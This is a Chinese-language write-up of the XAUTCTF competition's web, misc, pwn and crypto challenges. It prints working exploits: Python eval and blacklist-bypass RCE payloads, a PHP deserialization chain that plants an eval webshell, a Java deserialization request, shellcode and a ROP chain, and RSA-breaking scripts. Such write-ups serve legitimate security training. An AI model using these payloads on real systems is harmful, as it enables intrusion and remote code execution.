感谢WP提供:keup,peng,BR
[TOC]
web D3f4ult’s shop 
	后端未对itesm_price做校对,过于信任用户传入数据,将传入的item_price参数修改为足够买得起即可
	flag为XAUTCTF{7c6fcac0-c7ae-4a3c-9685-bc4ee3215afe}
	一眼顶真,在计算器功能下发现高危函数eval,且没有任何过滤,那么便可以任意python代码执行
	尝试直接读取open("/flag","r").read(),提示Permission denied: '/flag'
	看来应该需要RCE,再次尝试__import__("os").popen("ls /").read(),得到
	
	执行/readflag即__import__("os").popen("/readflag").read()
	flag为XAUTCTF{8d4b286e-e7d8-4ea2-b47b-647f6ac642b0}
	相较于VulnerableTools就是多加了点过滤
1 2 3 4 black_list = ['import'  ,'system' , 'os' , 'popen' , 'subprocess' , 'open' , 'read' , 'python' , '__' , '[' , ']' , '{' , '}' , ':' , 'base' , 'lower' , 'upper' , 'cat' , 'tac' , 'sort' , '|' , '`' , 'tail' , 'eval' , '\\' ] def  safe_init ():    sys.modules['os' ] = 'not allowed'  
	可利用parselmouth自动化绕过黑名单,而对于os被禁用则可使用subprocess代替
	原始payload可构造为
1 __import__('subprocess').check_output('/readflag',shell=True,stderr=__import__('subprocess').STDOUT) 
	利用parselmouth变形得到
1 __𝒊mport__(max(dict(𝒔ubprocess=()))).check_output((chr(123) + chr(125) + chr(123) + chr(125) + chr(123) + chr(125) + chr(123) + chr(125) + chr(123) + chr(125) + chr(123) + chr(125) + chr(123) + chr(125) + chr(123) + chr(125) + chr(123) + chr(125)).format(chr(47), chr(114), chr(101), chr(97), chr(100), chr(102), chr(108), chr(97), chr(103)), shell=True, stderr=__𝒊mport__(max(dict(𝒔ubprocess=()))).STDOUT) 
	传入得到flag
	flag为XAUTCTF{c9dc8c87-8556-4989-a1a4-5101bf57f5be}
Easy_login 	很容易观察到class.php中存在任意文件写入
	结合checklogin.php,中存在unserialize($user_cookie)
	推测需要进行反序列化操作,而最终目标则为执行file_put_contents写入木马达成RCE
	需要满足:
!is_array($this->username) 
strlen($this->password) < 58
$this->username != $this->password
md5($this->username) === md5($this->password)
 
	MD5为强比较,要么数组绕过,要么强碰撞绕过,但是条件1ban掉了数组绕过,又因为强碰撞生成的字符串为64的倍数,所以条件2将强碰撞绕过也ban了
	想起来之前看晨曦✌博客了解到可以通过php内置类来绕过哈希比较,贴一个原文链接php反序列化 | 晨曦的个人小站 
   
	exp为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class  User     public  $username ;     public  $password ;     public  $content ;     public  function  __construct ($username , $password       {        $this ->username = $username ;         $this ->password = $password ;     } } $u  = new  Error ("test" ,1 );$p  = new  Error ("test" ,2 ); $exp  = new  User ($u , $p );$exp ->content = "<?php eval(\$_GET['cmd']);?>" ;$exp  = serialize ($exp );$exp  = str_replace ("D:\\Users\\86156\\Desktop\\选拔赛\\题目\\web\\ezlogin\\exp.php" , "a" , $exp );$exp  = str_replace ("s:59" ,"s:1" , $exp );echo  $exp ."\n\n" ;$exp  = urlencode ($exp );echo  $exp ;?> 
	
成功写入马后访问/shell.php?cmd=system("cat /flag");即可
flag为XAUTCTF{8353363a-ae20-40f6-b3cb-192677e5467f}
Ez_Unser 	反编译User.class注意到似乎是一个无过滤RCE,只不过需要反序列化激活而已
	exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import  xaut.ctf.pojo.User;import  java.io.ByteArrayOutputStream;import  java.io.IOException;import  java.io.ObjectOutputStream;import  java.util.Base64;public  class  EXP  {    public  static  void  main (String[] args)  throws  IOException {         User  exp  =  new  User (new  String []{"cat" ,"/flag" },User.ADMIN);         ByteArrayOutputStream  byteArrayOutputStream  =  new  ByteArrayOutputStream ();         ObjectOutputStream  objectOutputStream  =  new  ObjectOutputStream (byteArrayOutputStream);         objectOutputStream.writeObject(exp);         byte [] ser = byteArrayOutputStream.toByteArray();         String  b64exp  =  Base64.getEncoder().encodeToString(ser);         System.out.println(b64exp);              } } 
1 2 3 4 5 6 7 8 9 10 11 12 13 import  requestsurl = "http://47.121.201.96:58625/ser"  exp = "rO0ABXNyABJ4YXV0LmN0Zi5wb2pvLlVzZXKje01xFpBOfQIAAkkACXByaXZpbGVnZVsAB2NvbW1hbmR0ABNbTGphdmEvbGFuZy9TdHJpbmc7eHAAAAAAdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAnQAA2NhdHQABS9mbGFn"  post_data = {     "ser" : exp } res = requests.post(url, data=post_data).text print (res)
	flag为XAUTCTF{c8257bb2-84c5-478c-9f1c-68d0fe311863}
Anonymous 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file (__FILE__ );error_reporting (0 );$rce  = new  class      function  getflag ($cmd       {        if  (strpos ($cmd , ' ' ) !== false ) {             echo  strpos ($cmd , ' ' );             die ('no space allowed' );         }         echo  "You get it!" ;         @exec ($cmd );     } }; unset ($rce );$rce  = $_GET ['class' ];$f  = new  $rce ();$cmd  = $_REQUEST ['cmd' ] ?? 'whoami' ;$f ->getflag ($cmd );?> 
	考察匿名类的调用,匿名函数有点像,类似的题目有红明谷初赛2024-web-wp 
	本地起一个php服务,在unset后打印下类信息
1 2 3 4 $c  = get_declared_classes ();foreach ($c  as  $each ){    echo  $each ."\n" ; } 
	得到
	其中$0后面是访问次数,那么对于服务器来说,该匿名类大概率为
	class@anonymous%00/var/www/html/index.php:4$0
	对于空格过滤用$IFS绕即可
	重启服务器,传class=class%40anonymous%00%2Fvar%2Fwww%2Fhtml%2Findex.php%3A4%240&cmd=cat$IFS/flag>/var/www/html/flag.txt
	出现You get it!说明执行成功,查看/flag.txt即可获得flag
	flag为XAUTCTF{f316b991-e964-410f-8f39-2ea3518545ea}
misc eZimage 1.png 
文件尾发现
1 elcarim_fo_gninnigeb_ehT BSL 
反转
1 LSB The_beginning_of_miracle 
使用cloacked-pixel
密码是
1 The_beginning_of_miracle 
压缩包密码同上
2.png 
补全定位角
1 flag{fakefakeflaaaaaaaaaag} 
搜一下png文件尾,把后面的数据提出来
zip,补一下文件头
两个二维码图片异或+反色
扫码得到
1 |||||||flag2:X0R-|||||||| 
3.png 
修复宽高
没找到flag,直接crc拼接试试
CRC
4.png 
双图盲水印
5.png 
修复宽高
stegsolve RGB1bit左上角有stegpy特征
stegpy密码尝试
还以为key是crc,试了半天
6.png 
放大可以看到白点阵,即为flag
7.png 
qoi
转换网站
1 https://imagetostl.com/cn/convert/file/qoi/to/png#convert 
 扫描二维码
1 flag7:QO1-you_get_the_fullflag!!} 
完整flag为XAUTCTF{L5B-X0R-CRC-H20-S7EGPY-PP1-QO1-you_get_the_fullflag!!}
叠影重重Vo.0 1 2 3 ECB asasasasasasasas 556c8be1c8b4cd195b627387c224b64df62d4f308666472492cc9588950be0fc 
	使用ECB解密556c8be1c8b4cd195b627387c224b64df62d4f308666472492cc9588950be0fc
	秘钥是asasasasasasasas
	经观察是蚁剑流量
	将量中传输的两个文件拼起来
	观察传输的目录,发现还有个干扰的,拼错压缩包会打不开
	rar压缩包解压出第二个流量包2
	使用wireshark的ftp导出3.7z
	1.txt 
	字频
	用这个密码解压3.7z
	第三个流量包观察DNS,发现dns前面的是base64编码
	解码得到flag为XAUTCTF{HTTP_and_FTP_and_DNS}
ezsound 	应该是sstv+lyra+社会主义核心编码,有空补细节
ezip 	附件下载解压下来得到1 2 3三个文件,放入010editor分析可以观察到他们都是缺少了504B文件头的zip文件的一部分
	新建16进制文件按照1,2,3的顺序组合(注意补上504B的文件头)
	guess_what_is_pass****,推测为掩码爆破
	得到密码为guess_what_is_pass6789,解压得到4.bandzip和README.md
	将4.bandzip拖入010editor分析,发现为PK(504B)开头,为压缩包文件,修改后缀为.zip
	4.zip中存在5和README.md文件,通过对比CRC发现我们得到的README.md和4.zip中的README.md是同一个文件,可以使用已知明文攻击
	将已经得到的README.md文件用提示的bandzip软件的快速压缩级别 (别问怎么知道是快速压缩级别的,问就是试出来的) 进行压缩
	然后进行已知明文攻击
	得到密码87654321,解压得到5,拖入010editor分析仍为zip文件,修改后缀解压提示需要密码,暴力爆破无果,推测为伪加密
	将其修复后解压得到6
	拖入010editor分析,注意到最后是正常zip头的倒序
	写个脚本逆序一下就好
1 2 data = open ("6" , "rb" ).read() open ("6_re.zip" , "wb" ).write(data[::-1 ])
	得到6_re.zip,解压即可得到7.FFint
	FFint 提示是将对数据进行 FF 异或 (这人能想的到?)
	异或的压缩包再解压,得到RSApub.py和8.rar
	分析RSApub.py得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from  Crypto.Util.number import  *from  flag import  passwordn1 = 103835296409081751860770535514746586815395898427260334325680313648369132661057840680823295512236948953370895568419721331170834557812541468309298819497267746892814583806423027167382825479157951365823085639078738847647634406841331307035593810712914545347201619004253602692127370265833092082543067153606828049061  n2 = 115383198584677147487556014336448310721853841168758012445634182814180314480501828927160071015197089456042472185850893847370481817325868824076245290735749717384769661698895000176441497242371873981353689607711146852891551491168528799814311992471449640014501858763495472267168224015665906627382490565507927272073  e = 65537  m = bytes_to_long(password) c = pow (m, e, n1) c = pow (c, e, n2) print ("c = %d"  % c)
	大概来说就是对password分别使用n1和n2连续进行两次RSA加密得到密文c的过程(给我干哪来了,这还是MISC吗?)
	观察到n1和n2很相近,猜测有相同公因数p,尝试提取,得到公因数p后q1和q2可以靠n1 n2 p求得,同理d1 d2也可以得到了,逆向解一下密文即可,以下为解密代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import  mathimport  gmpy2from  Crypto.Util.number import  *n1 = 103835296409081751860770535514746586815395898427260334325680313648369132661057840680823295512236948953370895568419721331170834557812541468309298819497267746892814583806423027167382825479157951365823085639078738847647634406841331307035593810712914545347201619004253602692127370265833092082543067153606828049061  n2 = 115383198584677147487556014336448310721853841168758012445634182814180314480501828927160071015197089456042472185850893847370481817325868824076245290735749717384769661698895000176441497242371873981353689607711146852891551491168528799814311992471449640014501858763495472267168224015665906627382490565507927272073  e = 65537  c=39185333474919619874742255960843012945853061788282355773499682958188263727663115173472253697126118879825805362604940090828854217086362761645122867990339584569963848377554362044111767669017010571998821943049856293370769513961777300562061990356053081891728365533367715815323665548852289393225037795876103506701  q = math.gcd(n1, n2) p1 = n1 // q p2 = n2 // q phi1 = (p1-1 )*(q-1 ) phi2 = (p2-1 )*(q-1 ) d1 = gmpy2.invert(e, phi1) d2 = gmpy2.invert(e, phi2) c = pow (c, d2, n2) m = pow (c, d1, n1) password = long_to_bytes(m) print (password)
	得到密码为you_win_boy_here_your_flag,解压8.rar得到flag.txt
	文件内容为:
1 2 8]_DBt-<U[q=>0b,.'tD0MZ/V&]6TVRR@Ejc?q/6$NbKo/;h14PyoM]mc(URA>wi3cH\v8Z^@&LD?%Go8ZkJY6,XKAjo! \n D'`%@9!JZH{{yUxwv-Psa<.L&mlZ5!E2|#dc~wv^)L[Zvun4rqjoh.fNdchgf_%]E[!_^@?[ZYXQuONSRKPIm0/EiI+*@E>=a$@9]=<5{32V05.32+O/o',+$)"F~%|{"!x>_{zyr8vXtmlk1RQmfkdc)J`&^c\[`Y}]\U=YXWPt76RQPONGkKJCHAe(D=B;@?>7[54921U5.3,P0po'&%$)(!E2 
	注意为两行,将第一行(不包括\n)依次进行Base92 -> Ascii85 -> Base64 -> Base62 -> Base58 -> Base45 -> Base32解码得到M41b0lg3,似乎是某种提示或密钥
	在必应中搜索可以找到类似的题目2024 强网拟态防御国际精英挑战赛初赛 Misc Writeup - ⚡Lunatic BLOG⚡ ,发现这是一种名为malbolge编程语言
	在在线平台malbolge在线运行,在线工具,在线编译IDE_w3cschool 运行一下第二行的代码得到flag
	flag为XUATCTF{e@sy_is_not_easy}
pwn Signin 	参考【CTF】【PWN】orw_ctf orw-CSDN博客 
	exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from  pwn import  *context.log_level = 'debug'  sh = process("./pwn" ) sh.sendlineafter("path: " ,"flag" ) sh.sendlineafter("oflag: " , "0" ) sh.sendlineafter("fd: " , "3" ) sh.sendlineafter("nbytes: " , "50" ) sh.sendlineafter("fd: " , "1" ) sh.sendlineafter("n: " , "50" ) sh.interactive() sh.close() 
	flag为XAUTCTF{55b5e94d-14ff-4b04-b619-ca6524af1594}
Signin_revenge 	与上一题相比仅仅是多了buf参数的输入,而题目给了bss段的地址,写脚本传参即可(因为使用read函数读取而不是atoi),脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from  pwn import  *context.log_level = 'debug'  io = remote("47.121.201.96" ,62158 ) def  debug ():	gdb.attach(io) 	pause() base = int (io.recv(14 ),16 ) print (hex (base))io.sendlineafter("path" ,"/flag" ) io.sendlineafter("oflag" ,"24" ) io.sendlineafter("fd" ,"3" ) io.sendafter("buf" ,p64(base)) io.sendlineafter("nbytes" ,"50" ) io.sendlineafter("fd" ,"1" ) io.sendafter("buf" ,p64(base)) io.sendlineafter("n" ,"50" ) io.interactive() 
shellcode 
	读取shellcode后直接执行,但开了沙箱,如下
	但没禁write函数,openat+pread+write打orw即可,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from  pwn import  *elf = ELF('./pwn4' ) context.log_level = 'debug'  context.binary = elf io = remote("47.121.201.96" ,55079 ) def  debug ():	gdb.attach(io) 	pause() pay = asm(shellcraft.openat(0 ,"/flag" )) pay+= asm(shellcraft.pread(3 ,0x401a00 ,0x30 )) pay+= asm(shellcraft.write(1 ,0x401a00 ,0x30 )) io.sendline(pay) io.interactive() 
middling_shellcode 	与上题的差别只有禁用了write函数,使用writev绕过即可(也可打侧信道攻击,但不如这个快),脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from  pwn import  *elf = ELF('./pwn5' ) context.binary = elf io = remote("47.121.201.96" ,52722 ) def  debug ():	gdb.attach(io) 	pause() pay = asm(shellcraft.openat(0 ,"/flag" )) pay+= asm(shellcraft.pread(3 ,0x401a00 ,0x30 )) pay+= asm('''  push 1     pop rdi     push 0x1    /* iov size */     pop rdx     push 0x100     mov rbx, 0x401a00     push rbx     mov rsi, rsp     push SYS_writev     pop rax     syscall''' )io.sendline(pay) io.interactive() 
simple_command 
	初步尝试运行,发现为只有五条命令的命令行
	分析各个函数后发现echo命令可以读取文件并打印,仅需要命令符合以下格式
	即echo $(<filename) 即可
ez_c++ 
	Ida反编译后发现是栈溢出,
	没开pie,简单rop即可,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from  pwn import  *context.log_level = 'debug'  context.binary = ELF('./pwn' ) io = process('./pwn' ) def  debug ():	gdb.attach(io) 	pause() rax_ret = 0x000000000041dbea  rdi_ret = 0x00000000004047af  rsi_ret = 0x0000000000406d1f  rdx_rbx_ret = 0x00000000005302ab  syscall = 0x00000000004D7886  ret = 0x000000000040101a  pay = b'a' *0x18  + p64(rax_ret)+p64(0 )+p64(rdi_ret)+p64(0 )+p64(rsi_ret)+p64(0x5e0000 )+p64(rdx_rbx_ret)+p64(0x10 )*2 +p64(syscall) pay += p64(rax_ret)+p64(0x3b )+p64(rdi_ret)+p64(0x5e0000 )+p64(rsi_ret)+p64(0 )+p64(rdx_rbx_ret)+p64(0 )*2 +p64(ret)+p64(syscall) 
crypto RSA-I 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 ------------ "task.py" from  Crypto.Util.number import  *class  RSA :    def  __init__ (self, private_key, public_key ):         self .p, self .q, self .d = private_key         self .n, self .e = public_key     def  encrypt (self, plaintext ):         if  isinstance (plaintext, bytes ):             plaintext = bytes_to_long(plaintext)         ciphertext = pow (plaintext, self .e, self .n)         return  ciphertext     def  decrypt (self, ciphertext ):         if  isinstance (ciphertext, bytes ):             ciphertext = bytes_to_long(ciphertext)         plaintext = pow (ciphertext, self .d, self .n)         return  plaintext def  get_keypair (nbits: int , e: int  = 65537  ):    p = getPrime(nbits//2 )     q = getPrime(nbits//2 )     n = p * q     d = inverse(e, n - p - q + 1 )     return  (p, q, d), (n, e) from  secret import  flagfrom  my_rsa import  RSA, get_keypair------------ "my_rsa.py" from  secret import  flagfrom  my_rsa import  RSA, get_keypairif  __name__ == '__main__' :    pri_key, pub_key = get_keypair(1024 )     rsa = RSA(pri_key, pub_key)     enc = rsa.encrypt(flag)     print (f'hints = {pri_key[0 ] + pri_key[1 ]} ' )     print (f'n, e = {pub_key} ' )     print (f'enc = {enc} ' ) ''' hints = 17960325692966331869367295266392755370930923303673500674407412894866561185754447732268527534544301544931655778385705095340590928294627879305530053644606312 n, e = (80548079006690376484401947528317514672736700181359966713779522504478122520007672121663227999817333022339225284372340165255346107208306023661907114014677074667152281135816625157070158494735927400719428743427820417408045831658047980152722419641033119403043238702634218004318381875607238168683179631114283102327, 65537) enc = 3347542355425894800112758523511971140080278878605094506650339357102998310566418899431668482919681709243951629211518553810749037620164641002892247118379277692194438504740336362953221566843082616970245054949055912556819847938962290875425531807639012443625444040550871890468653273544749332817433350620315663824 ''' 
	很明显,通过get_keypair生成了p和q,其中hints = p+q,n = p*q解方程即可得到p和q
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from  Crypto.Util.number import  *from  sympy import  *hints = 17960325692966331869367295266392755370930923303673500674407412894866561185754447732268527534544301544931655778385705095340590928294627879305530053644606312  n, e = (80548079006690376484401947528317514672736700181359966713779522504478122520007672121663227999817333022339225284372340165255346107208306023661907114014677074667152281135816625157070158494735927400719428743427820417408045831658047980152722419641033119403043238702634218004318381875607238168683179631114283102327 , 65537 ) enc = 3347542355425894800112758523511971140080278878605094506650339357102998310566418899431668482919681709243951629211518553810749037620164641002892247118379277692194438504740336362953221566843082616970245054949055912556819847938962290875425531807639012443625444040550871890468653273544749332817433350620315663824  class  RSA :    def  __init__ (self, private_key, public_key ):         self .p, self .q, self .d = private_key         self .n, self .e = public_key     def  decrypt (self, ciphertext ):         plaintext = pow (ciphertext, self .d, self .n)         return  long_to_bytes(plaintext).decode() def  solution (sum , product    x = symbols('x' )     dis = x**2  -sum *x + product     solution = solve(dis, x)     return  solution result = solution(hints, n) p = int (result[0 ]) q = int (result[1 ]) print (p,q)phi = (p-1 )*(q-1 ) d = inverse(e, phi) rsa = RSA((p,q,d),(n,e)) flag = rsa.decrypt(enc) print (flag)
flag为XAUTCTF{1893cd00-5520-3231-a19d-2563c3641a8a}
RSA-II 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 ------------ "task.py" from  Crypto.Util.number import  getRandomNBitIntegerfrom  secret import  flagfrom  my_rsa import  RSA, get_keypairpri_key, pub_key = get_keypair(1024 ) rsa = RSA(pri_key, pub_key) enc = rsa.encrypt(flag) k_bits = 180  hints_len = 4  hints = [] for  i in  range (hints_len):    hints.append(getRandomNBitInteger(k_bits) * pri_key[0 ] + getRandomNBitInteger(k_bits) * pri_key[1 ]) print (f'hints = {hints} ' )print (f'n, e = {pub_key} ' )print (f'enc = {enc} ' )''' hints = [23597041116421585383253617822238134482022985527196483737800027046632049501576994404575650072309514086216443500217413002536680649786874242439394596694558255069623971174819336015998506169596930513809024152602641, 18918670633849764224176581085296078409704603995267665366816563141474967984734617831249768345438068798516700525748972411048432944250646148414484479146763021186677905840501241585907337082119873061822184269888932, 27410394479523367303818326313047678775857877447545211654608647781399978125621186992839370580369227913427608730245324283127880308257456049017257798110955836478420978837474849678328941529110143495015237003672102, 19771853350828481188305560174546641567112991229767951723535120036986753959786655218256255574630537563685139213616485845916018895538066666858962337932503913041988856767768201107997309315722525085259644264076364] n, e = (87983894410720207158810626024075859252678400286609500320114902976089861944315015016279894113116554079534123564264283942467629749675516446794704980553532165048365486842288583348346981877316333068201475358519481491306811915775860773663152419968463284474286230662338065590172104643936556485811955378881620648939, 65537) enc = 22533289628970791445166452969863260911408958741328551298306903969766733181601846771396684399082766428379610776865767264720771870307933216036865646839162378532559068458036002257189928246000285667093942689439071077397077785445444831685924708907686173164533537203327619143830270772718035767376282548756552850834 ''' ------------ "my_rsa.py" from  Crypto.Util.number import  *class  RSA :    def  __init__ (self, private_key, public_key ):         self .p, self .q, self .d = private_key         self .n, self .e = public_key     def  encrypt (self, plaintext ):         if  isinstance (plaintext, bytes ):             plaintext = bytes_to_long(plaintext)         ciphertext = pow (plaintext, self .e, self .n)         return  ciphertext     def  decrypt (self, ciphertext ):         if  isinstance (ciphertext, bytes ):             ciphertext = bytes_to_long(ciphertext)         plaintext = pow (ciphertext, self .d, self .n)         return  plaintext def  get_keypair (nbits: int , e: int  = 65537  ):    p = getPrime(nbits//2 )     q = getPrime(nbits//2 )     n = p * q     d = inverse(e, n - p - q + 1 )     return  (p, q, d), (n, e) 
	做到这再去发现是强网杯2024的原题apbq强网杯2024 Writeup - 星盟安全团队 
	直接借脚本稍微改下放sage上跑一下即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import  itertoolsfrom  Crypto.Util.number import  *n,e = (87983894410720207158810626024075859252678400286609500320114902976089861944315015016279894113116554079534123564264283942467629749675516446794704980553532165048365486842288583348346981877316333068201475358519481491306811915775860773663152419968463284474286230662338065590172104643936556485811955378881620648939 , 65537 ) c = 22533289628970791445166452969863260911408958741328551298306903969766733181601846771396684399082766428379610776865767264720771870307933216036865646839162378532559068458036002257189928246000285667093942689439071077397077785445444831685924708907686173164533537203327619143830270772718035767376282548756552850834  hints = [23597041116421585383253617822238134482022985527196483737800027046632049501576994404575650072309514086216443500217413002536680649786874242439394596694558255069623971174819336015998506169596930513809024152602641 , 18918670633849764224176581085296078409704603995267665366816563141474967984734617831249768345438068798516700525748972411048432944250646148414484479146763021186677905840501241585907337082119873061822184269888932 , 27410394479523367303818326313047678775857877447545211654608647781399978125621186992839370580369227913427608730245324283127880308257456049017257798110955836478420978837474849678328941529110143495015237003672102 , 19771853350828481188305560174546641567112991229767951723535120036986753959786655218256255574630537563685139213616485845916018895538066666858962337932503913041988856767768201107997309315722525085259644264076364 ] V = hints k = 2 ^800  M = Matrix.column([k * v for  v in  V]).augment(Matrix.identity(len (V))) B = [b[1 :] for  b in  M.LLL()] M = (k * Matrix(B[:len (V)-2 ])).T.augment(Matrix.identity(len (V))) B = [b[-len (V):] for  b in  M.LLL() if  set (b[:len (V)-2 ]) == {0 }] for  s, t in  itertools.product(range (4 ), repeat=2 ):    T = s*B[0 ] + t*B[1 ]     a1, a2, a3, a4 = T     kq = gcd(a1 * hints[1 ] - a2 * hints[0 ], n)     if  1  < kq < n:         print ('find!' )         print (kq)         break  p = kq q = n//p phi = (p-1 )*(q-1 ) d = inverse(e,phi) m = pow (c, d, n)   print (long_to_bytes(int (m)))
flag为XAUTCTF{a12c767e-11c9-0c5d-a158-d4357aa8994f}
43_steps 	由题目结合可以知道,C表示复制,V表示粘贴,A表示全选,那么实际上经过测试,只有ACV和V两种字符串组合会影响字符的增长
	如果题目有解,必然为包含ACV和V的字符串,结合题目猜测总长度应该就是43,可以尝试爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 def  process (solve, limit: int  = 43 , target: int  = 1 *10 **5  ):        count = 1          select = 0          shear_plate = 0          for  control in  solve:             control = control.upper()             if  control == 'A' :                 select = count             elif  control == 'C' :                 shear_plate = select                 select = 0              elif  control == 'V' :                 count += shear_plate         print (f"len = {len (solve)} , {count = } , {solve = } \n" .encode())         return  count def  generate_strings (length, prefix=""  ):    if  length == 0 :         count = process(prefix)         if  count == 100000 :             print (prefix)             exit(0 )     else :         generate_strings(length - 1 , prefix + "V" )         if  length >= 3 :             generate_strings(length - 3 , prefix + "ACV" ) generate_strings(43 ) 
	爆破得到ACVVVVACVVVVACVVVVACVVVVACVVVVACVVVACVVVACV
	nc连接拿到flag为XAUTCTF{acd61088-83fa-4be9-9a49-322f09260004}
	应该是非预期解
	标准解可参考隔壁算法题https://www.zhihu.com/question/614897549/answer/3548312646